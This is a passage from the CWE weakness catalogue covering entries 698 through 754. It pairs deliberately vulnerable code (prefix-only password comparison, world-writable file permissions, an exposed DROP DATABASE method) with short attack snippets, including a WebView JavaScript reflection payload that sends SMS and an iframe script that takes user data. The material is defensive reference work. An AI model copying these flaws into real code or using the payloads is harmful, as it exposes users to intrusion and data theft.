This weakness class covers several possibilities:

1. the comparison checks one factor incorrectly;
2. the comparison should consider multiple factors, but it does not check some of those factors at all;
3. the comparison checks the wrong factor.

## Demonstrative Examples

### Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

*Example Language: Java*

*(bad)*

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

### Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Example Language: C*

*(bad)*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strncmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
    if (!strncmp(pass, inPass, strlen(inPass))) {
        logEvent("Auth success of password using strlen of inUser");
        return(AUTH_SUCCESS);
    }
    else {
        logEvent("Auth fail of password using sizeof");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv) {
    int authResult;
```

```

if (argc < 3) {
    ExitError("Usage: Provide a username and password");
}
authResult = AuthenticateUser(argv[1], argv[2]);
if (authResult == AUTH_SUCCESS) {
    DoAuthenticatedTask(argv[1]);
}
else {
    ExitError("Authentication failed");
}
}

```

In `AuthenticateUser()`, the `strncmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(attack)

```

p
pa
pas
pass

```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

## Notes

### Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).

## CWE-698: Execution After Redirect (EAR)

**Weakness ID :** 698

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The web application sends a redirect to another location, but instead of exiting, it executes additional code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	<i>This weakness could affect the control flow of the application and allow execution of untrusted code.</i>	
Availability		

## Detection Methods

### Black Box

This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.

## Demonstrative Examples

### Example 1:

This code queries a server and displays its status when a request comes from an authorized IP address.

*Example Language: PHP*

*(bad)*

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
    echo "You are not authorized to view this page";
    http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...
```

This code redirects unauthorized users, but continues to execute code after calling `http_redirect()`. This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

### Notes

#### Relationship

This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).

## CWE-707: Improper Neutralization

**Weakness ID** : 707

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Pillar

### Description

The product does not ensure or incorrectly ensures that structured messages or data are well-formed and that certain security properties are met before being read from an upstream component or sent to a downstream component.

### Extended Description

If a message is malformed, it may cause the message to be incorrectly interpreted.

Neutralization is an abstract term for any technique that ensures that input (and output) conforms with expectations and is "safe." This can be done by:

- checking that the input/output is already "safe" (e.g. validation)
- transformation of the input/output to be "safe" using techniques such as filtering, encoding/decoding, escaping/unescaping, quoting/unquoting, or canonicalization
- preventing the input/output from being directly provided by an attacker (e.g. "indirect selection" that maps externally-provided values to internally-controlled values)
- preventing the input/output from being processed at all

This weakness typically applies in cases where the product prepares a control message that another process must act on, such as a command or query, and malicious input that was intended as data, can enter the control plane instead. However, this weakness also applies to more general cases where there are not always control implications.

## CWE-708: Incorrect Ownership Assignment

**Weakness ID :** 708

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The software assigns an owner to a resource, but the owner is outside of the intended control sphere.

### Extended Description

This may allow the resource to be manipulated by actors outside of the intended control sphere.

## CWE-732: Incorrect Permission Assignment for Critical Resource

**Weakness ID** : 732

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

### Extended Description

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

### Relationships

These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## Detection Methods

### Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

### Automated Dynamic Analysis

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes. When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

### Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

### Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

### Fuzzing

Fuzzing is not effective in detecting this weakness.

### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the

software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

## Potential Mitigations

### Phase: Implementation

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

### Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]

*Effectiveness = Moderate*

*This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.*

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

### Phase: Implementation

#### Phase: Installation

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

*Effectiveness = High*

#### Phase: System Configuration

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.

*Effectiveness = High*

#### Phase: Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

#### Phase: Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.

### Phase: Operation

### Phase: System Configuration

*Strategy = Environment Hardening*

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

### Demonstrative Examples

#### Example 1:

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

*Example Language: C*

*(bad)*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

*Example Language:*

*(result)*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

#### Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

*Example Language: PHP*

*(bad)*

```
function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows

any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups.

This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

### Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses `chmod()` to make the file world-writable.

Example Language: Perl

(bad)

```
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status!\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

Example Language:

(result)

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default `umask` of `022`, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the `chmod` will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

Example Language:

(result)

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

### Example 4:

The following command recursively sets world-readable permissions for a directory and all of its children:

Example Language: Shell

(bad)

```
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

## Notes

### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

## CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

**Weakness ID :** 733 **Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : C++ (Prevalence = Often)

**Language** : Compiled (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
Other	Other	

### Detection Methods

#### Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

#### White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

## CWE-749: Exposed Dangerous Method or Function

<b>Weakness ID</b> : 749	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

### Extended Description

This weakness can lead to a wide variety of resultant weaknesses, depending on the behavior of the exposed method. It can apply to any number of technologies and approaches, such as ActiveX controls, Java functions, IOCTLs, and so on.

The exposure can occur in a few different ways:

- 1) The function/method was never intended to be exposed to outside actors.
- 2) The function/method was only intended to be accessible to a limited set of actors, such as Internet-based access from a single web site.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

<p><i>Exposing critical functionality essentially provides an attacker with the privilege level of the exposed functionality. This could result in the modification or exposure of sensitive data or possibly even execution of arbitrary code.</i></p>		

## Potential Mitigations

### Phase: Architecture and Design

If you must expose a method, make sure to perform input validation on all arguments, limit access to authorized parties, and protect against all possible vulnerabilities.

### Phase: Architecture and Design

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Identify all exposed functionality. Explicitly list all functionality that must be exposed to some user or set of users. Identify which functionality may be: accessible to all users restricted to a small set of privileged users prevented from being directly accessible at all Ensure that the implemented code follows these expectations. This includes setting the appropriate access modifiers where applicable (public, private, protected, etc.) or not marking ActiveX controls safe-for-scripting.

## Demonstrative Examples

### Example 1:

In the following Java example the method `removeDatabase` will delete the database with the name specified in the input parameter.

*Example Language: Java*

*(bad)*

```
public void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

The method in this example is declared `public` and therefore is exposed to any class in the application. Deleting a database should be considered a critical operation within an application and access to this potentially dangerous method should be restricted. Within Java this can be accomplished simply by declaring the method `private` thereby exposing it only to the enclosing class as in the following example.

*Example Language: Java*

*(good)*

```
private void removeDatabase(String databaseName) {
    try {
        Statement stmt = conn.createStatement();
        stmt.execute("DROP DATABASE " + databaseName);
    } catch (SQLException ex) {...}
}
```

### Example 2:

These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:

Example Language: Java

(bad)

```
// Android
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url){
    if (url.substring(0,14).equalsIgnoreCase("examplescheme:")){
        if (url.substring(14,25).equalsIgnoreCase("getUserInfo")){
            writeToView(view, UserData);
            return false;
        }
        else{
            return true;
        }
    }
}
```

Example Language: Objective-C

(bad)

```
// iOS
-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:
(UIWebViewNavigationType)exNavigationType
{
    NSURL *URL = [exRequest URL];
    if ([[URL scheme] isEqualToString:@"exampleScheme"])
    {
        NSString *functionString = [URL resourceSpecifier];
        if ([functionString hasPrefix:@"specialFunction"])
        {
            // Make data available back in webview.
            UIWebView *webView = [self writeToView:[URL query]];
        }
        return NO;
    }
    return YES;
}
```

A call into native code can then be initiated by passing parameters within the URL:

Example Language: JavaScript

(attack)

```
window.location = examplescheme://method?parameter=value
```

Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site.

### Example 3:

This application uses a WebView to display websites, and creates a Javascript interface to a Java object to allow enhanced functionality on a trusted website:

Example Language: Java

(bad)

```
public class WebViewGUI extends Activity {
    WebView mainWebView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        mainWebView = new WebView(this);
        mainWebView.getSettings().setJavaScriptEnabled(true);
        mainWebView.addJavascriptInterface(new JavaScriptInterface(), "userInfoObject");
        mainWebView.loadUrl("file:///android_asset/www/index.html");
        setContentView(mainWebView);
    }
}
```

```
final class JavaScriptInterface {
    JavaScriptInterface () {}
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

Before Android 4.2 all methods, including inherited ones, are exposed to Javascript when using `addJavaScriptInterface()`. This means that a malicious website loaded within this `WebView` can use reflection to acquire a reference to arbitrary Java objects. This will allow the website code to perform any action the parent application is authorized to.

For example, if the application has permission to send text messages:

Example Language: JavaScript

(attack)

```
<script>
    userInfoObject.getClass().forName('android.telephony.SmsManager').getMethod('getDefault',null).sendTextMessage(attackNumber,
    null, attackMessage, null, null);
</script>
```

This malicious script can use the `userInfoObject` object to load the `SmsManager` object and send arbitrary text messages to any recipient.

#### Example 4:

After Android 4.2, only methods annotated with `@JavaScriptInterface` are available in JavaScript, protecting usage of `getClass()` by default, as in this example:

Example Language: Java

(bad)

```
final class JavaScriptInterface {
    JavaScriptInterface () {}
    @JavaScriptInterface
    public String getUserInfo() {
        return currentUser.Info();
    }
}
```

This code is not vulnerable to the above attack, but still may expose user info to malicious pages loaded in the `WebView`. Even malicious iframes loaded within a trusted page may access the exposed interface:

Example Language: JavaScript

(attack)

```
<script>
    var info = window.userInfoObject.getUserInfo();
    sendUserInfo(info);
</script>
```

This malicious code within an `iframe` is able to access the interface object and steal the user's data.

## Notes

### Research Gap

Under-reported and under-studied. This weakness could appear in any technology, language, or framework that allows the programmer to provide a functional interface to external parties, but it is not heavily reported. In 2007, CVE began showing a notable increase in reports of exposed method vulnerabilities in ActiveX applications, as well as IOCTL access to OS-level resources. These weaknesses have been documented for Java applications in various secure programming sources, but there are few reports in CVE, which suggests limited awareness in most parts of the vulnerability research community.

## CWE-754: Improper Check for Unusual or Exceptional Conditions

**Weakness ID** : 754

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Class

### Description

The software does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the software.

### Extended Description

The programmer may assume that certain events or conditions will never occur or do not need to be worried about, such as low memory conditions, lack of access to resources due to restrictive permissions, or misbehaving clients or components. However, attackers may intentionally trigger these unusual conditions, thus violating the programmer's assumptions, possibly introducing instability, incorrect behavior, or a vulnerability.

Note that this entry is not exclusively about the use of exceptions and exception handling, which are mechanisms for both checking and handling unusual or unexpected conditions.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	Unexpected State	
	<i>The data which were produced as a result of a function call could be in a bad state upon return. If the return value is not checked, then this bad data may be used in operations, possibly leading to a crash or other unintended behaviors.</i>	

### Detection Methods

#### Automated Static Analysis

Automated static analysis may be useful for detecting unusual conditions involving system resources or common programming idioms, but not for violations of business rules.

*Effectiveness = Moderate*

#### Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

### Potential Mitigations

**Phase: Requirements**

*Strategy = Language Selection*

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

**Phase: Implementation**

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

**Phase: Implementation**

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

*Effectiveness = High*

*Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.*

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

**Phase: Implementation**

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Phase: Architecture and Design****Phase: Implementation**

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

### Phase: Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

## Demonstrative Examples

### Example 1:

Consider the following code segment:

*Example Language: C*

*(bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

### Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

*Example Language: C*

*(bad)*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

### Example 3:

The following examples read a file into a byte array.

*Example Language: C#*

*(bad)*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
```

```
String userName = (String) i.Current();
String pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);
}
```

Example Language: Java

(bad)

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
    fis.read(byteArray); // the file is always 1k bytes
    fis.close();
    processPFile(userName, byteArray);
}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from `Read()`. If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

#### Example 4:

The following code does not check to see if the string returned by `getParameter()` is null before calling the member function `compareTo()`, potentially causing a NULL dereference.

Example Language: Java

(bad)

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the `Item` property is null before calling the member function `Equals()`, potentially causing a NULL dereference.

Example Language: Java

(bad)

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

#### Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java

(bad)

```
System.clearProperty("os.name");
...
```

```
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

### Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C#

(bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

### Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

### Example 8:

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

Example Language: C++

(bad)

```
int outputStringToFile(char *output, char *filename) {
    openFileToWrite(filename);
```

```

writeToFile(output);
closeFile(filename);
}

```

However, this code does not check the return values of the methods `openFileToWrite`, `writeToFile`, `closeFile` to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

Example Language: C++

(good)

```

int outputStringToFile(char *output, char *filename) {
    int isOutput = SUCCESS;
    int isOpen = openFileToWrite(filename);
    if (isOpen == FAIL) {
        printf("Unable to open file %s", filename);
        isOutput = FAIL;
    }
    else {
        int isWrite = writeToFile(output);
        if (isWrite == FAIL) {
            printf("Unable to write to file %s", filename);
            isOutput = FAIL;
        }
        int isClose = closeFile(filename);
        if (isClose == FAIL)
            isOutput = FAIL;
    }
    return isOutput;
}

```

### Example 9:

